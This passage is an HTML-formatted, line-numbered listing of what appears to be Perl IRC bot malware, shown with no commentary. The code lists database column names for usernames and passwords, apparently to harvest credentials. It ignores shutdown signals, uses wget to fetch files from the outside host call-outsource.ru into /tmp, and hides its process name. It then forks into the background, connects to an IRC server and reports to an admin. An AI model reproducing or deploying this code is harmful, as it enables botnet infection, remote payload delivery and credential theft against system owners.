New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;161: &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; @kolumny    = (&#39;admin_name&#39;,&#39;cla_adm&#39;,&#39;usu_adm&#39;,&#39;fazer&#39;,&#39;logon&#39;,&#39;fazerlogon&#39;,&#39;authorization&#39;,&#39;membros&#39;,&#39;utilizadores&#39;,&#39;sysadmin&#39;,&#39;email&#39;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;162:           &#39;user_name&#39;,&#39;username&#39;,&#39;name&#39;,&#39;user&#39;,&#39;user_name&#39;,&#39;user_username&#39;,&#39;uname&#39;,&#39;user_uname&#39;,&#39;usern&#39;,&#39;user_usern&#39;,&#39;un&#39;,&#39;user_un&#39;,&#39;mail&#39;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;163:           &#39;usrnm&#39;,&#39;user_usrnm&#39;,&#39;usr&#39;,&#39;usernm&#39;,&#39;user_usernm&#39;,&#39;nm&#39;,&#39;user_nm&#39;,&#39;login&#39;,&#39;u_name&#39;,&#39;nombre&#39;,&#39;login_id&#39;,&#39;usr&#39;,&#39;sistema_id&#39;,&#39;author&#39;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;164:           &#39;sistema_usuario&#39;,&#39;auth&#39;,&#39;&lt;span style=&quot;color: #0000ff&quot;&gt;key&lt;/span&gt;&#39;,&#39;membername&#39;,&#39;nme&#39;,&#39;unme&#39;,&#39;psw&#39;,&#39;password&#39;,&#39;user_password&#39;,&#39;autores&#39;,&#39;pass_hash&#39;,&#39;hash&#39;,&#39;pass&#39;,&#39;correo&#39;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;165:           &#39;userpass&#39;,&#39;user_pass&#39;,&#39;upw&#39;,&#39;pword&#39;,&#39;user_pword&#39;,&#39;passwd&#39;,&#39;user_passwd&#39;,&#39;passw&#39;,&#39;user_passw&#39;,&#39;pwrd&#39;,&#39;user_pwrd&#39;,&#39;pwd&#39;,&#39;authors&#39;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;166:           &#39;user_pwd&#39;,&#39;u_pass&#39;,&#39;clave&#39;,&#39;usuario&#39;,&#39;contrasena&#39;,&#39;pas&#39;,&#39;sistema_password&#39;,&#39;autor&#39;,&#39;upassword&#39;,&#39;web_password&#39;,&#39;web_username&#39;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;167: $SIG{&#39;INT&#39;}   = &#39;IGNORE&#39;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;168: $SIG{&#39;HUP&#39;}   = &#39;IGNORE&#39;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;169: $SIG{&#39;TERM&#39;}  = &#39;IGNORE&#39;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;170: $SIG{&#39;CHLD&#39;}  = &#39;IGNORE&#39;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;171: $SIG{&#39;PS&#39;}    = &#39;IGNORE&#39;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;172: &lt;span style=&quot;color: #0000ff&quot;&gt;chdir&lt;/span&gt;(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;/tmp&lt;/span&gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;173: &lt;span style=&quot;color: #0000ff&quot;&gt;chop&lt;/span&gt; (&lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $priper = `wget http:&lt;span style=&quot;color: #008000&quot;&gt;//call-outsource.ru/logs/crew.jpg -O crew.jpg;wget http://call-outsource.ru/logs/crew.jpg -O crew.jpg;wget http://call-outsource.ru/logs/daster.jpg -O daster.jpg;wget http://call-outsource.ru/logs/topi.jpg -O topi.jpg;wget http://call-outsource.ru/logs/j1.txt -O j1.txt;wget http://call-outsource.ru/logs/j2.txt -O j2.txt;wget http://call-outsource.ru/logs/cocok.txt -O cocok.txt`);&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;174: $ircserver = &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$ARGV[0]&lt;/span&gt;&amp;quot; &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; $ARGV[0];&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;175: $0 = &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$Rondoeproc&lt;/span&gt;&amp;quot;.&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;\0&lt;/span&gt;&amp;quot; x 16;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;176: &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $pid = &lt;span style=&quot;color: #0000ff&quot;&gt;fork&lt;/span&gt;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;177: &lt;span style=&quot;color: #0000ff&quot;&gt;exit&lt;/span&gt; &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; $pid;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;178: &lt;span style=&quot;color: #0000ff&quot;&gt;die&lt;/span&gt; &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;\n[!] Something Wrong !!!: $!\n\n&lt;/span&gt;&amp;quot; unless &lt;span style=&quot;color: #0000ff&quot;&gt;defined&lt;/span&gt;($pid);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;179: &lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;180: &lt;span style=&quot;color: #0000ff&quot;&gt;our&lt;/span&gt; %irc_servers;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;181: &lt;span style=&quot;color: #0000ff&quot;&gt;our&lt;/span&gt; %DCC;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;182: &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $dcc_sel = new IO::Select-&amp;gt;new();&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;183: $sel_client = IO::Select-&amp;gt;new();&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;184: &lt;span style=&quot;color: #0000ff&quot;&gt;sub&lt;/span&gt; sendraw {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;185:     &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; ($#_ == &#39;1&#39;) {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;186:     &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $&lt;span style=&quot;color: #0000ff&quot;&gt;socket&lt;/span&gt; = $_[0];&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;187:     &lt;span style=&quot;color: #0000ff&quot;&gt;print&lt;/span&gt; $&lt;span style=&quot;color: #0000ff&quot;&gt;socket&lt;/span&gt; &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$_[1]\n&lt;/span&gt;&amp;quot;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;188:     } &lt;span style=&quot;color: #0000ff&quot;&gt;else&lt;/span&gt; {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;189:         &lt;span style=&quot;color: #0000ff&quot;&gt;print&lt;/span&gt; $IRC_cur_socket &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$_[0]\n&lt;/span&gt;&amp;quot;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;190:     }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;191: }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;192: &lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;193: &lt;span style=&quot;color: #0000ff&quot;&gt;sub&lt;/span&gt; connector {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;194:     &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $mynick = $_[0];&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;195:     &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $ircserver_con = $_[1];&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;196:     &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $ircport_con = $_[2];&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;197:     &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $IRC_socket = IO::Socket::INET-&amp;gt;new(Proto=&amp;gt;&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;tcp&lt;/span&gt;&amp;quot;, PeerAddr=&amp;gt;&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$ircserver_con&lt;/span&gt;&amp;quot;, PeerPort=&amp;gt;$ircport_con) or &lt;span style=&quot;color: #0000ff&quot;&gt;return&lt;/span&gt;(1);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;198:     &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; (&lt;span style=&quot;color: #0000ff&quot;&gt;defined&lt;/span&gt;($IRC_socket)) {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;199:         $IRC_cur_socket = $IRC_socket;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;200:         $IRC_socket-&amp;gt;autoflush(1);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;201:         $sel_client-&amp;gt;add($IRC_socket);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;202:     $irc_servers{$IRC_cur_socket}{&#39;host&#39;} = &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$ircserver_con&lt;/span&gt;&amp;quot;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;203:         $irc_servers{$IRC_cur_socket}{&#39;port&#39;} = &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$ircport_con&lt;/span&gt;&amp;quot;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;204:         $irc_servers{$IRC_cur_socket}{&#39;nick&#39;} = $mynick;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;205:         $irc_servers{$IRC_cur_socket}{&#39;myip&#39;} = $IRC_socket-&amp;gt;sockhost;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;206:         nick(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$mynick&lt;/span&gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;207:         &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $versi   = &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;-&lt;/span&gt;&amp;quot;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;208:         sendraw(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;USER $ident &lt;/span&gt;&amp;quot;.$IRC_socket-&amp;gt;sockhost.&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt; $ircserver_con :$versi&lt;/span&gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;209:         &lt;span style=&quot;color: #0000ff&quot;&gt;sleep&lt;/span&gt; (1);}}&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;210: &lt;span style=&quot;color: #0000ff&quot;&gt;sub&lt;/span&gt; parse {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;211:     &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $servarg = &lt;span style=&quot;color: #0000ff&quot;&gt;shift&lt;/span&gt;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;212:     &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; ($servarg =~ /^PING \:(.*)/) {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;213:         sendraw(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;PONG :$1&lt;/span&gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;214:     }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;215:     elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;216:         &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; (&lt;span style=&quot;color: #0000ff&quot;&gt;lc&lt;/span&gt;($1) eq &lt;span style=&quot;color: #0000ff&quot;&gt;lc&lt;/span&gt;($mynick)) {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;217:             $mynick = $4;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;218:             $irc_servers{$IRC_cur_socket}{&#39;nick&#39;} = $mynick;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;219:         }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;220:     }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;221:     elsif ($servarg =~ m/^\:(.+?)\s+433/i) {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;222:         nick(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$mynick&lt;/span&gt;&amp;quot;.&lt;span style=&quot;color: #0000ff&quot;&gt;int&lt;/span&gt; &lt;span style=&quot;color: #0000ff&quot;&gt;rand&lt;/span&gt;(1));&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;223:     }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;224:     elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;225:         $mynick = $2;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;226:         $irc_servers{$IRC_cur_socket}{&#39;nick&#39;} = $mynick;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;227:         $irc_servers{$IRC_cur_socket}{&#39;nome&#39;} = &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$1&lt;/span&gt;&amp;quot;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;228:         sendraw(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;MODE $mynick +i&lt;/span&gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;229:         sendraw(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;JOIN $channel&lt;/span&gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;230:         &lt;span style=&quot;color: #0000ff&quot;&gt;sleep&lt;/span&gt;(2);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;231:         sendraw(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;PRIVMSG $admin :Hi $admin im here !!!&lt;/span&gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;232:     }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;233: }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;234: &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $line_temp;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;235: while( 1 ) {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;236:     while (!(&lt;span style=&quot;color: #0000ff&quot;&gt;keys&lt;/span&gt;(%irc_servers))) { &amp;amp;connector(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$nickname&lt;/span&gt;&amp;quot;, &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$ircserver&lt;/span&gt;&amp;quot;, &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$ircport&lt;/span&gt;&amp;quot;); }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;237:     &lt;span style=&quot;color: #0000ff&quot;&gt;select&lt;/span&gt;(&lt;span style=&quot;color: #0000ff&quot;&gt;undef&lt;/span&gt;, &lt;span style=&quot;color: #0000ff&quot;&gt;undef&lt;/span&gt;, &lt;span style=&quot;color: #0000ff&quot;&gt;undef&lt;/span&gt;, 0.01);;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;238:     &lt;span style=&quot;color: #0000ff&quot;&gt;delete&lt;/span&gt;($irc_servers{&#39;&#39;}) &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; (&lt;span style=&quot;color: #0000ff&quot;&gt;defined&lt;/span&gt;($irc_servers{&#39;&#39;}));&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;239:     &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; @ready = $sel_client-&amp;gt;can_read(0);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;240:     &lt;span style=&quot;color: #0000ff&quot;&gt;next&lt;/span&gt; unless(@ready);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;241:     foreach $fh (@ready) {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;242:         $IRC_cur_socket = $fh;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;243:         $mynick = $irc_servers{$IRC_cur_socket}{&#39;nick&#39;};&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;244:         $nread = &lt;span style=&quot;color: #0000ff&quot;&gt;sysread&lt;/span&gt;($fh, $ircmsg, 4096);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; 